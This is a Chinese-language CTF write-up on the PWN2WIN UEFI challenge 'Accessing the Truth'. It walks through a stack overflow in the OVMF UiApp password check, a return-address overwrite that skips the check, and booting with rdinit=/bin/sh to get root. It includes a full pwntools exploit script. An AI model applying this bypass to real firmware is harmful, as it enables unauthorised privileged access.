【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

admin 2025年2月20日19:20:59评论3 views字数 5873阅读19分34秒阅读模式

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

前段时间打了场PWN2WIN,期间遇到了这道BIOS题,正好来学习一下UEFI PWN

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

题目包含下列文件

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路
题目分析

run.py是题目给的启动脚本

#!/usr/bin/python3 -uimport randomimport stringimport subprocessimport tempfiledef random_string(n):    return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))def check_pow(bits):    r = random_string(10)    print(f"hashcash -mb{bits} {r}")    solution = input("Solution: n").strip()    if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution],                       cwd="/tmp",                       stdout=subprocess.DEVNULL,                       stderr=subprocess.DEVNULL) != 0:        raise Exception("Invalid PoW")#check_pow(25)fname = tempfile.NamedTemporaryFile().namesubprocess.call(["cp", "OVMF.fd", fname])try:  subprocess.call(["chmod", "u+w", fname])  subprocess.call(["qemu-system-x86_64",                   "-monitor", "/dev/null",                   "-m", "64M",                   "-drive", "if=pflash,format=raw,file=" + fname,                    "-drive", "file=fat:rw:contents,format=raw",                   "-net", "none",                   "-nographic"], stderr=subprocess.DEVNULL, timeout=60)except:  passsubprocess.call(["rm", "-rf", fname])print("Bye!")

注释掉pow,直接启动。启动起来是一个低权限用户的linux虚拟机,目标是获取根目录下flag.txt的内容,典型的内核题

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

仔细看启动命令,貌似没加载任何可疑的虚拟设备,排除掉QEMU逃逸

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

解开contents/initramfs.cpio,看到init文件。这里有一条mount -t efivarfs efivarfs /sys/firmware/efi/efivars,怀疑是UEFI PWN

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

另外,启动脚本里有60秒的timout,需要把这里干掉

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

解开OVMF

找到一个工具UEFITool能打开OVMF.fd,里面的文件貌似是PE32格式

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

binwalk也能识别出来是PE,无奈还是解不开,继续找工具

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

发现这工具能解开:UEFI Firmware Parser

uefi-firmware-parser -ecO ./OVMF.fd

解开后发现一堆pe raw文件

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路
定位到UiApp
【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

既然是BIOS PWN,那就先进BIOS吧,启动时连按F12就进来了。

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

进BIOS以后有一个密码校验,过了应该就能进BIOS。此外,还发现了以下一些信息

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

拿UEFITool能搜到些信息

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

这里的id貌似能跟进BIOS的id对得上,这个应该是GUID

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

在解开的文件里搜462CAA21-7614-4503-836E-8AB6F4662331,找到了这个目录

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

IDA打开section0.pe,分析完以后这里选Unicode

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

查找字符串,就能看到Enter Password:,可以确定section0.pe就是UiApp这个登录校验程序

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路
静态分析
【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

校验程序有个sha256

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

漏洞点在:n不会让while循环break掉,同时index不断自增1,buf = &input_buf[index];获取到的栈地址继续往后延,这样可能会覆盖到返回地址

int __cdecl main(int argc, const char **argv, const char **envp){  void *v3; // rsp  void *v4; // rsp  __int64 v5; // rdx  __int64 v6; // r8  __int64 v7; // r9  size_t v8; // rdx  __int64 v9; // r8  __int64 v10; // r9  char *buf; // rdx  unsigned __int64 v12; // rax  __int64 v13; // rdx  __int64 v14; // r8  __int64 v15; // r9  char v17[7]; // [rsp+20h] [rbp-60h] BYREF  char c; // [rsp+27h] [rbp-59h]  char *input_buf; // [rsp+28h] [rbp-58h]  __int64 v20; // [rsp+30h] [rbp-50h]  char *v21; // [rsp+38h] [rbp-48h]  __int64 v22; // [rsp+40h] [rbp-40h]  size_t v23; // [rsp+48h] [rbp-38h]  unsigned __int64 v24; // [rsp+50h] [rbp-30h]  __int64 index; // [rsp+58h] [rbp-28h]  v24 = 0i64;  index = -1i64;  v23 = 32i64;  v22 = 31i64;  v3 = alloca(32i64);  v21 = v17;  v20 = 31i64;  v4 = alloca(32i64);  input_buf = v17;  wputs(word_1395A, 15i64, 32i64, 0i64);  while ( v24 <= 2 )  {    sub_9D3(input_buf, v23, 0i64);    index = -1i64;    wputs(L"Enter Password: n", v5, v6, v7);    while ( 1 )    {      c = getchar();      ++index;      if ( c == 'r' )        break;      if ( c != 'n' )      {        buf = &input_buf[index];        *buf = c;        wputs(L"*", buf, v9, v10);        v12 = wstr_length(input_buf);        v8 = v23 - 1;        if ( v12 >= v23 - 1 )          break;      }    }    wputs(L"n", v8, v9, v10);    sha256_process(input_buf, index, v21);    if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) )      return 1;    wputs(L"Wrong!!n", v13, v14, v15);    ++v24;  }  return 0;}

UiApp没开ASLR和NX,溢出后直接在栈执行shellcode即可

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

Debug

启动脚本

from pwn import *context.arch = "amd64"context.log_level = "debug"tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactiveDEBUG = 1if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 2:    p = remote('accessing-the-truth.pwn2win.party', 1337)def exploit():    p.recvn(1)    # sleep(1)    p.send("x1b[24~")    p.irt()if __name__ == "__main__":    exploit()

启动脚本加上-s参数,进BIOS以后gdb attach上

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

问题就是怎么拿到UiApp的加载地址?尝试在gdb里搜这段数据

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

找到三个地址,这里的0x28ba990比较可疑

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

减去Enter Password:的offset,即0x28ba990-0x13990 = 0x28a7000,然后以0x28a7000为基址查看main函数的代码

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

可以断定0x28a7000就是UiApp的加载基址

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

0x28a7000修正IDA分析的基址

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

在IDA打上断点,给UiApp发以下数据

def exploit():    p.recvn(1)    # sleep(1)    p.send("x1b[24~")    #print(p.recvuntil("Password"))    pause()    p.sa('Password', 'A'*2+'n'*2+'B'*0x18+'r')    p.irt()

由于'n'*2,buf跳过了两个byte的地址,因而发送足够多n便可溢出到返回地址

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

Hijack to BIOS Booting

&buf = 0x3EBC650距离返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8byte

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

这样构造便能覆盖到返回地址

payload = b'n'*0xa8 + p32(0xdeadbeaf)payload += b'r'

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

控了rip以后,需要将rip劫持到BIOS正常启动的代码,这片代码便是过了校验后启动BIOS程序

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

对应的汇编代码,尝试劫持到0x28B0DD5

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

另外,发送/r会导致break while,只要令v25>=3即发送三次r便能跳出外层while并return。

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

现在已经看到能启动到BIOS了

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

但pwntools连接的图形操作还有问题,可以用socat来连

socat -,raw,echo=0 SYSTEM:"python ./solve.py"

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

进入BIOS,增加一条启动项,启动内容加上rdinit=/bin/sh,保存后选该启动项来启动系统

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

启动进入到系统,现在已经是root权限

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

打远程

【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

Script

完整EXP

#socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"#socat -,raw,echo=0 SYSTEM:"python ./solve.py"from pwn import *context.arch = "amd64"#context.log_level = "debug"tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.rn = tube.recvntube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactiveDEBUG = 1if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    p = remote('accessing-the-truth.pwn2win.party', 1337)def pass_pow():    p.ru('hashcash -mb25')    hash = p.rl().strip()    cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8")    res = os.popen(cmd)    cash = res.read()    res.close()    p.sa('Solution:', cash)def exploit():    pass_pow()    p.rn(1)    p.s('x1b[24~'*10)    #pause()    #p.sa('Password', 'A'*2+'n'*2+'B'*0x18+'r')    #payload = 'A'*2+'n'*2+'B'*0x18+'r'    #payload = b'n'*0xa8 + p32(0xdeadbeaf)    #payload += b'r'    payload = b'n'*0xa8 + p32(0x28b0dd5)    payload += b'r'    #pause()    p.sa('Password', payload)    payload = 'r'    p.s(payload)    p.s(payload)    p.irt()if __name__ == "__main__":    exploit()
【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路
- 结尾 -

原文始发于微信公众号(安全客):【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日19:20:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路https://cn-sec.com/archives/897922.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息